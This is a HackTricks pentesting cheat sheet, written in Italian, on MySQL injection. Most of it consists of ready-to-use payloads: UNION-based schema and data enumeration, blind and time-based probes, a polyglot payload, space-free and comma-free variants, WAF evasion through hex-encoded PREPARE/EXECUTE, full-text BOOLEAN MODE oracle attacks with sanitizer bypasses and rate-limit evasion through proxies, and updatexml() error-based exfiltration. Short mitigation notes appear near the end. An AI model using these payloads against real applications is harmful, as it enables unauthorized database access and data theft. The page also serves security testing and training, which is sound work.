MySQL injection

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Commenti

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Funzioni Interessanti

Conferma Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Funzioni utili

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Tutte le injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

da https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Flusso

Ricorda che nelle “moderne” versioni di MySQL puoi sostituire “information_schema.tables” al posto di “mysql.innodb_table_stats (Questo potrebbe essere utile per bypassare i WAFs).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Solo 1 valore

  • group_concat()
  • Limit X,1

Blind uno per uno

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind aggiunta

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Rilevare il numero di colonne

Usando un semplice ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Scopri qui diverse opzioni per abuse a Mysql injection to obtain a SSRF.

Trucchi per bypassare il WAF

Esecuzione di query tramite Prepared Statements

Se sono permesse stacked queries, potrebbe essere possibile bypassare WAFs assegnando a una variabile la rappresentazione esadecimale della query che vuoi eseguire (usando SET), e poi usare le istruzioni PREPARE e EXECUTE di MySQL per eseguire infine la query. Qualcosa del genere:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Per maggiori informazioni fare riferimento a this blog post.

Information_schema alternative

Ricorda che nelle versioni “moderne” di MySQL puoi sostituire information_schema.tables con mysql.innodb_table_stats o con sys.x$schema_flattened_keys o con sys.schema_table_statistics

MySQLinjection senza VIRGOLE

Seleziona 2 colonne senza usare alcuna virgola (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Recuperare i valori senza il nome della colonna

Se in qualche momento conosci il nome della tabella ma non conosci i nomi delle colonne al suo interno, puoi provare a scoprire quante colonne ci sono eseguendo qualcosa del tipo:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Supponendo che ci siano 2 colonne (la prima è l’ID) e l’altra è il flag, puoi provare a bruteforce il contenuto del flag carattere per carattere:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Ulteriori informazioni in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection senza SPAZI (/**/ trucco del commento)

Alcune applicazioni sanitizzano o analizzano l’input dell’utente con funzioni come sscanf("%128s", buf) che si fermano al primo carattere di spazio. Poiché MySQL tratta la sequenza /**/ come commento e come whitespace, può essere usata per eliminare completamente gli spazi normali dal payload mantenendo la query sintatticamente valida.

Esempio di time-based blind injection che aggira il filtro degli spazi:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Che il database riceve come:

' OR SLEEP(5)-- -'

Questo è particolarmente utile quando:

  • Il buffer controllabile è limitato in dimensione (es. %128s) e gli spazi terminerebbero prematuramente l’input.
  • Iniettando tramite HTTP headers o altri campi dove gli spazi normali vengono rimossi o usati come separatori.
  • Combinato con primitive INTO OUTFILE per ottenere una pre-auth RCE completa (vedi la sezione MySQL File RCE).

Storia di MySQL

Puoi vedere altre esecuzioni all’interno di MySQL leggendo la tabella: sys.x$statement_analysis

Versioni alternatives

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

Questo non è un classico SQL injection. Quando gli sviluppatori passano input utente in MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL esegue una ricca serie di operatori di ricerca Boolean all’interno della stringa tra virgolette. Molte regole WAF/SAST si concentrano solo sul quote breaking e trascurano questa superficie di attacco.

Punti chiave:

  • Gli operatori vengono valutati all’interno delle virgolette: + (deve includere), - (non deve includere), * (wildcard finale), "..." (frase esatta), () (raggruppamento), </>/~ (pesi). Vedi la documentazione MySQL.
  • Questo permette test di presenza/assenza e di prefisso senza uscire dal letterale della stringa, p.es. AGAINST('+admin*' IN BOOLEAN MODE) per verificare qualsiasi termine che inizi con admin.
  • Utile per costruire oracoli come «una riga contiene un termine con prefisso X?» e per enumerare stringhe nascoste tramite espansione per prefisso.

Esempio query costruita dal backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Se l’applicazione restituisce risposte diverse a seconda che il result set sia vuoto (es. redirect vs. messaggio di errore), quel comportamento diventa un Boolean oracle che può essere usato per enumerare dati privati come titoli nascosti/eliminati.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: se il backend taglia 1–2 caratteri finali per parola tramite una regex come (\b.{1,2})(\s)|(\b.{1,2}$), invia prefix*ZZ. Il cleaner taglia le ZZ ma lascia il *, quindi prefix* sopravvive.
  • Early-break stripping: se il codice rimuove gli operatori per parola ma smette di processare quando trova un token con lunghezza ≥ min length, invia due token: il primo è un token di scarto che soddisfa la soglia di lunghezza, il secondo contiene il payload con l’operatore. Per esempio: &&&&& +jack*ZZ → dopo il cleaning: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 is &, %2B is +. The trailing xD (or any two letters) is trimmed by the cleaner, preserving {FUZZ}*.
  • Tratta un redirect come “match” e una pagina di errore come “no match”. Non seguire automaticamente i redirect per mantenere l’oracle osservabile.

Enumeration workflow:

  1. Inizia con {FUZZ} = a…z,0…9 per trovare corrispondenze sulla prima lettera tramite +a*, +b*, …
  2. Per ogni prefisso positivo, diramati: a* → aa* / ab* / …. Ripeti per recuperare l’intera stringa.
  3. Distribuisci le richieste (proxies, più account) se l’app applica flood control.

Why titles often leak while contents don’t:

  • Alcune app applicano i controlli di visibilità solo dopo un MATCH preliminare su titoli/subjects. Se il control-flow dipende dall’esito “any results?” prima del filtraggio, si verificano existence leaks.

Mitigations:

  • Se non ti serve la logica Boolean, usa IN NATURAL LANGUAGE MODE o tratta l’input utente come un literal (escape/quote disabilita gli operatori in altre modalità).
  • Se la Boolean mode è richiesta, rimuovi o neutralizza tutti gli operatori Boolean (+ - * " ( ) < > ~) per ogni token (nessuna interruzione anticipata) dopo la tokenizzazione.
  • Applica i filtri di visibilità/authorization prima di MATCH, oppure unifica le risposte (timing/status costanti) quando il result set è vuoto vs. non vuoto.
  • Rivedi le funzionalità analoghe in altri DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS analizzano anch’essi operatori all’interno di argomenti tra virgolette.

Notes:

  • Prepared statements non proteggono contro l’abuso semantico di REGEXP o degli search operators. Un input come .* rimane una regex permissiva anche dentro un quoted REGEXP '.*'. Usa allow-lists o guard espliciti.

Error-based exfiltration via updatexml()

When the application only returns SQL errors (not raw result sets), you can leak data through MySQL error strings:

dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}

updatexml() genera un errore XPATH che incorpora la stringa concatenata, quindi il valore della SELECT interna appare nella risposta di errore tra delimitatori (0x7e = ~). Iterare LIMIT 1 OFFSET N per enumerare le righe. Questo funziona anche quando l’UI impone test “boolean” perché il messaggio di errore è comunque mostrato.

Altre guide MYSQL injection

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks